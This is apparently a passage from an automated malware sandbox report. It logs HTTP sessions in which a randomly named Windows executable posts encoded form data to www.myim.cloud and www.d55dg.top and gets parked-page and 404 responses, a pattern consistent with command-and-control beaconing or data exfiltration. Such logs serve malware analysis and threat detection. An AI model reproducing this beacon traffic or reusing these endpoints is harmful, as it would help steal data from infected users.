63 61 39 34 30 50 45 46 62 77 36 4f 45 57 36 54 4b 30 67 64 35 53 53 6d 31 64 6e 76 33 75 39 64 47 42 38 5a 34 61 5a 6f 66 79 7a 79 77 69 46 46 30 58 74 46 56 4f 31 58 66 54 65 39 42 44 78 6e 6f 66 56 6c 53 47 55 34 65 43 4d 63 45 6b 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_itJ5wTtca940PEFbw6OEW6TK0gd5SSm1dnv3u9dGB8Z4aZofyzywiFF0XtFVO1XfTe9BDxnofVlSGU4eCMcEkA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:42:05.095036983 CEST	559	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTU2NmJmNDktMjg3My00YzU0LTgxZTAtZDllMWI5ZmE0ZWY4IiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49270	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:07.191181898 CEST	1752	OUT	POST /12ts/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.myim.cloud Origin: http://www.myim.cloud Referer: http://www.myim.cloud/12ts/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 53 49 63 7a 6f 69 6f 46 65 45 79 56 4a 41 4e 67 58 43 4f 45 55 44 2f 45 43 58 31 73 56 48 64 38 69 4d 49 48 7a 74 35 4e 52 74 51 6a 46 6b 77 46 42 5a 45 55 56 32 38 52 6c 6f 30 43 32 30 68 55 36 30 75 57 73 30 30 4a 68 37 59 6f 79 6c 67 65 79 46 6d 6a 50 4a 5a 6b 6d 71 6f 4a 48 71 65 4e 77 30 37 78 6f 44 78 32 35 51 78 70 49 2f 55 42 50 39 42 31 52 52 51 68 7a 44 56 30 36 31 6c 45 42 68 58 59 71 51 46 4f 67 2b 37 6b 66 62 74 58 4d 63 64 53 39 69 6b 71 57 75 56 34 55 64 59 71 56 79 47 70 78 73 71 49 69 4f 66 64 7a 4e 2f 32 42 37 6a 72 75 4d 47 73 72 71 42 38 4b 6a 45 4b 73 45 46 78 51 72 54 73 4c 4b 54 50 37 31 41 4c 43 48 64 37 45 6a 4b 73 4d 35 64 54 58 2b 53 33 6f 2f 6f 30 79 35 79 7a 41 50 70 54 58 32 7a 38 76 36 71 72 74 77 75 78 43 41 58 50 6c 65 37 2f 4e 63 42 53 70 4b 41 31 4d 4f 78 61 66 34 77 59 6e 59 36 39 35 77 59 4a 52 32 76 6f 47 57 6d 30 2b 53 52 56 6e 7a 4d 77 59 75 74 58 77 70 59 6c 4b 44 61 69 4e 64 71 66 7a 6d 54 71 6b 2b 6c 31 6c 41 68 52 43 5a 78 67 57 79 [TRUNCATED] Data Ascii: MHZDTHg=SIczoioFeEyVJANgXCOEUD/ECX1sVHd8iMIHzt5NRtQjFkwFBZEUV28Rlo0C20hU60uWs00Jh7YoylgeyFmjPJZkmqoJHqeNw07xoDx25QxpI/UBP9B1RRQhzDV061lEBhXYqQFOg+7kfbtXMcdS9ikqWuV4UdYqVyGpxsqIiOfdzN/2B7jruMGsrqB8KjEKsEFxQrTsLKTP71ALCHd7EjKsM5dTX+S3o/o0y5yzAPpTX2z8v6qrtwuxCAXPle7/NcBSpKA1MOxaf4wYnY695wYJR2voGWm0+SRVnzMwYutXwpYlKDaiNdqfzmTqk+l1lAhRCZxgWys04b8NXgrYjRa2WIVW9kf52I0RNryu85+mQH3lLWtNSOGAcvuB+z9ypyK4oQ6irBTNgavZAwW5gNJTikrcpyM9hwst5rdcuaqhNPCNXdv+GEM2v1/K8ewJbmwsPP/Fv7YSUzC8lEysMxfF8Ed5Zidq3j6vicDxjYEBSRbkMnIfL+fTjbYdzTE+wsnJvqeAlHReF7m/hU0mGDoC8m9/z4AUaiImzyhwBt4y3p5PsF9IhxnUwd2W4e8ARRu9euXV5UAdsxkVGdfdP66PLSSeK7PrelPKckBZv1SmQcyHRZZRr7m2WcVLf41sWQwua5f/aYwmHTwj6yGFBRMyeHW5vnZyqrNPnQ67s9oZqPdxAi3MewcPjGa9QlCbiM6ZHEbx9k5DbApmlaV2Qt7urcm9qE/Gjc8HJZX2CLCtPMjAVkUagOeqITbGwid1APr+QM4ojas339PzIqBiVIGaJ2DI4AumRw9u39cw2eERzwjpUJbFqBsu/BrkKLkso/+4rkU25IwSzo2gDTFghFm+grKGlRLetl1hn+2chZuIP+OGzl8NsDiXkCBgThN0rp3BGNJwO3zXOZk8TjcHoqWxcUXQcAvE0dsQVtxYlplDpHlubtDvqBkdaQbBeIYEJkiLjio5iVRK4GecIWL4+p/gy2FOXyK5i64jF/Ww9rqA [TRUNCATED]
Sep 9, 2024 10:42:07.640871048 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:42:07 GMT content-type: text/html; charset=utf-8 content-length: 1106 x-request-id: 811f277d-5978-487c-9c3a-55187e0acc68 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_itJ5wTtca940PEFbw6OEW6TK0gd5SSm1dnv3u9dGB8Z4aZofyzywiFF0XtFVO1XfTe9BDxnofVlSGU4eCMcEkA== set-cookie: parking_session=811f277d-5978-487c-9c3a-55187e0acc68; expires=Mon, 09 Sep 2024 08:57:07 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 69 74 4a 35 77 54 74 63 61 39 34 30 50 45 46 62 77 36 4f 45 57 36 54 4b 30 67 64 35 53 53 6d 31 64 6e 76 33 75 39 64 47 42 38 5a 34 61 5a 6f 66 79 7a 79 77 69 46 46 30 58 74 46 56 4f 31 58 66 54 65 39 42 44 78 6e 6f 66 56 6c 53 47 55 34 65 43 4d 63 45 6b 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_itJ5wTtca940PEFbw6OEW6TK0gd5SSm1dnv3u9dGB8Z4aZofyzywiFF0XtFVO1XfTe9BDxnofVlSGU4eCMcEkA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:42:07.640994072 CEST	559	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODExZjI3N2QtNTk3OC00ODdjLTljM2EtNTUxODdlMGFjYzY4IiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49272	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:09.738864899 CEST	466	OUT	GET /12ts/?MHZDTHg=fK0TrVkIcECrXBt/QBT8PCmrckdVeV1vsNkWvaJ0XbQUSkAwNJoncWp26b1Q7HgZ6hy5g1l23+w5zEE84XOKO78C1JBbT4+4k1+SvQMP+iwoSoAbGtJFITlm6yZl6HBNXw==&m8=721TkfhHN46HeBfP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.myim.cloud User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:42:10.195627928 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:42:10 GMT content-type: text/html; charset=utf-8 content-length: 1502 x-request-id: a7bbb576-c4c9-4cd1-9692-a26051e5079e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_lKaSxeDtTJOJV8TJ2IECbI6pq5Osv7RLuu+DCWRy7liLWKT606BHDZ+wLR9Jqt4TTbY4NXOARtYukKqzjm9gpg== set-cookie: parking_session=a7bbb576-c4c9-4cd1-9692-a26051e5079e; expires=Mon, 09 Sep 2024 08:57:10 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6c 4b 61 53 78 65 44 74 54 4a 4f 4a 56 38 54 4a 32 49 45 43 62 49 36 70 71 35 4f 73 76 37 52 4c 75 75 2b 44 43 57 52 79 37 6c 69 4c 57 4b 54 36 30 36 42 48 44 5a 2b 77 4c 52 39 4a 71 74 34 54 54 62 59 34 4e 58 4f 41 52 74 59 75 6b 4b 71 7a 6a 6d 39 67 70 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_lKaSxeDtTJOJV8TJ2IECbI6pq5Osv7RLuu+DCWRy7liLWKT606BHDZ+wLR9Jqt4TTbY4NXOARtYukKqzjm9gpg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:42:10.195667028 CEST	955	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYTdiYmI1NzYtYzRjOS00Y2QxLTk2OTItYTI2MDUxZTUwNzllIiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49273	154.23.184.240	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:15.733175993 CEST	712	OUT	POST /ftud/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.d55dg.top Origin: http://www.d55dg.top Referer: http://www.d55dg.top/ftud/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 50 53 4f 6f 77 41 72 67 66 38 79 6f 72 52 6b 74 5a 30 55 30 6c 71 76 69 62 35 46 6a 72 74 44 63 39 4a 45 4d 38 76 54 63 67 62 39 34 7a 76 52 5a 71 6e 42 4a 37 76 38 77 67 78 2f 42 6c 4b 63 32 54 70 76 71 56 36 52 31 34 47 35 55 4f 71 44 79 33 70 72 53 59 6a 54 66 54 4f 33 6d 5a 4e 51 6b 38 77 63 45 58 71 75 4b 37 73 34 52 5a 52 30 44 7a 41 45 55 52 75 41 76 45 52 59 66 44 5a 30 66 30 62 34 34 4a 6f 58 72 4b 30 6d 73 31 6d 46 75 69 38 6a 48 31 46 57 4b 48 5a 45 6b 54 6f 6b 72 59 2b 6d 61 41 67 57 38 68 6c 56 38 6b 6c 2f 65 5a 74 2f 4d 33 43 6a 45 33 74 66 4c 77 58 4c 4c 5a 65 57 2f 31 64 41 3d Data Ascii: MHZDTHg=PSOowArgf8yorRktZ0U0lqvib5FjrtDc9JEM8vTcgb94zvRZqnBJ7v8wgx/BlKc2TpvqV6R14G5UOqDy3prSYjTfTO3mZNQk8wcEXquK7s4RZR0DzAEURuAvERYfDZ0f0b44JoXrK0ms1mFui8jH1FWKHZEkTokrY+maAgW8hlV8kl/eZt/M3CjE3tfLwXLLZeW/1dA=
Sep 9, 2024 10:42:16.650641918 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:42:16 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "668fe68e-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49274	154.23.184.240	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:18.283127069 CEST	732	OUT	POST /ftud/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.d55dg.top Origin: http://www.d55dg.top Referer: http://www.d55dg.top/ftud/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 50 53 4f 6f 77 41 72 67 66 38 79 6f 70 78 34 74 55 7a 6f 30 67 4b 76 74 55 5a 46 6a 78 64 44 59 39 4f 4d 4d 38 74 2b 52 67 75 74 34 79 4f 68 5a 72 6a 74 4a 34 76 38 77 76 52 2f 45 68 4b 63 70 54 70 7a 69 56 2f 70 31 34 43 70 55 4f 72 7a 79 69 4f 48 56 65 6a 54 42 4b 2b 33 6b 61 39 51 6b 38 77 63 45 58 75 2b 67 37 73 67 52 5a 42 45 44 78 6b 59 58 63 4f 41 75 44 52 59 66 56 70 30 62 30 62 34 4b 4a 70 4b 4f 4b 32 75 73 31 6a 68 75 7a 49 33 47 2f 46 57 49 4a 35 46 37 66 34 52 41 59 73 69 46 49 41 65 38 34 58 5a 2f 6c 54 53 30 44 50 33 6b 6b 69 50 38 6e 2b 58 38 68 6e 71 69 44 39 47 50 72 4b 57 66 6c 51 45 53 37 48 38 52 39 5a 4b 78 6f 44 63 41 37 66 6a 61 Data Ascii: MHZDTHg=PSOowArgf8yopx4tUzo0gKvtUZFjxdDY9OMM8t+Rgut4yOhZrjtJ4v8wvR/EhKcpTpziV/p14CpUOrzyiOHVejTBK+3ka9Qk8wcEXu+g7sgRZBEDxkYXcOAuDRYfVp0b0b4KJpKOK2us1jhuzI3G/FWIJ5F7f4RAYsiFIAe84XZ/lTS0DP3kkiP8n+X8hnqiD9GPrKWflQES7H8R9ZKxoDcA7fja
Sep 9, 2024 10:42:19.202321053 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:42:19 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "668fe68e-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49275	154.23.184.240	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:20.846055031 CEST	1749	OUT	POST /ftud/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.d55dg.top Origin: http://www.d55dg.top Referer: http://www.d55dg.top/ftud/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 50 53 4f 6f 77 41 72 67 66 38 79 6f 70 78 34 74 55 7a 6f 30 67 4b 76 74 55 5a 46 6a 78 64 44 59 39 4f 4d 4d 38 74 2b 52 67 75 6c 34 79 34 31 5a 71 45 35 4a 35 76 38 77 69 78 2f 46 68 4b 63 6b 54 70 72 59 56 2f 74 44 34 45 31 55 42 70 37 79 6d 50 48 56 4c 54 54 42 58 4f 33 6c 5a 4e 51 31 38 77 4d 41 58 71 61 67 37 73 67 52 5a 43 63 44 69 51 45 58 65 4f 41 76 45 52 59 70 44 5a 31 38 30 62 77 61 4a 70 4f 77 4a 46 32 73 37 6a 78 75 78 62 66 47 39 6c 57 4f 45 5a 46 7a 66 34 4e 66 59 74 4f 42 49 44 44 5a 34 55 35 2f 70 31 2f 56 57 39 66 49 35 79 4f 52 31 4d 44 4a 38 6e 69 67 4e 37 57 41 73 4a 36 2b 34 44 4d 6a 36 77 49 48 78 39 33 76 72 56 35 62 7a 70 4b 73 2b 34 64 6f 54 5a 4d 31 75 70 75 55 32 4c 66 49 4c 51 31 36 38 4a 32 6b 4b 55 75 32 7a 66 39 77 52 79 36 49 55 64 49 65 45 55 56 74 79 68 6b 44 55 4d 6f 2f 53 6a 4d 6b 68 6e 54 61 69 48 46 79 72 6e 37 49 47 4a 54 7a 6b 55 4e 50 30 55 76 43 43 50 4a 37 59 34 32 7a 41 46 4c 71 46 74 42 74 77 6d 6d 72 52 46 4f 47 36 38 56 30 4f 79 [TRUNCATED] Data Ascii: MHZDTHg=PSOowArgf8yopx4tUzo0gKvtUZFjxdDY9OMM8t+Rgul4y41ZqE5J5v8wix/FhKckTprYV/tD4E1UBp7ymPHVLTTBXO3lZNQ18wMAXqag7sgRZCcDiQEXeOAvERYpDZ180bwaJpOwJF2s7jxuxbfG9lWOEZFzf4NfYtOBIDDZ4U5/p1/VW9fI5yOR1MDJ8nigN7WAsJ6+4DMj6wIHx93vrV5bzpKs+4doTZM1upuU2LfILQ168J2kKUu2zf9wRy6IUdIeEUVtyhkDUMo/SjMkhnTaiHFyrn7IGJTzkUNP0UvCCPJ7Y42zAFLqFtBtwmmrRFOG68V0Oyb/+vuuJ0c8fH4uC28dyHiubxZ5qz7H0kPSkxOEOylEhhesg0M0PGEsIbwpNrC7AsallKnKDh3vVEBlWgeXRU9yjpQ9yUAvRjAazLxLW8LX/CW0X2EPqY0sW3zY78U5FAKp3VwOOKfmNc+UY+UisVOfbQh5iXmSF1JbSpkSpYc1iIEzNGr3vDfZVjKEBEM5kSSDUw9HvwZ/0fwFj94uiYutIJVm8T6uUmLfNum1gCLEGM90JZLD9C7By3wj76MSYPWuN6YhOC4tsPeri++OmvTwqucrJKfkvywXTks3tGyB8hbDoMVUB5WDHpvbMX5badY/yP7lgtBTvD/aCoCeTGIl0od8XXpHYurFKCheZpP2lLED0gz620auG6JF8HcXnScU3mkNOBSyXpq5FjQMmUYLRWbbNmIpXzQterUX8QFsDCoqHXub0n2Xv1btSR5xEXReJc+4WGPXHZOUGwsA2bfLBxJRU2dWJRxNodfXJbBYdfbaDuzsBilwabtMWAr99kBwS504g65IDFNC2+kMitAM/xHYKq+hlcLGDCJuX2pcmy7xdGgRZPjGakM9tz3wXv7cAtfjzvlztOw2vyKd/WgGqrNOaqYtYnCRLCKcQlSaCcl5I67FQH7qWt5ons8g7PjjhyUUEHf7wI+D2giAcZ+FiZW0hWRpp/mA [TRUNCATED]
Sep 9, 2024 10:42:22.191095114 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:42:21 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "668fe68e-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49276	154.23.184.240	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:23.389444113 CEST	465	OUT	GET /ftud/?m8=721TkfhHN46HeBfP&MHZDTHg=CQmIz2bNYdnQtzE5dRZx19O+RKFjtfDUuZcFlqzFgfI5jfpPm1EP0eBYxBqCjdR2XMjWQLlFnnRrMqX4rM3bAk6hJ8rVDO8n3CpjeInC2PpnYB4d910sD/0oMC4edJRzog== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.d55dg.top User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:42:24.265774965 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:42:24 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "668fe68e-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

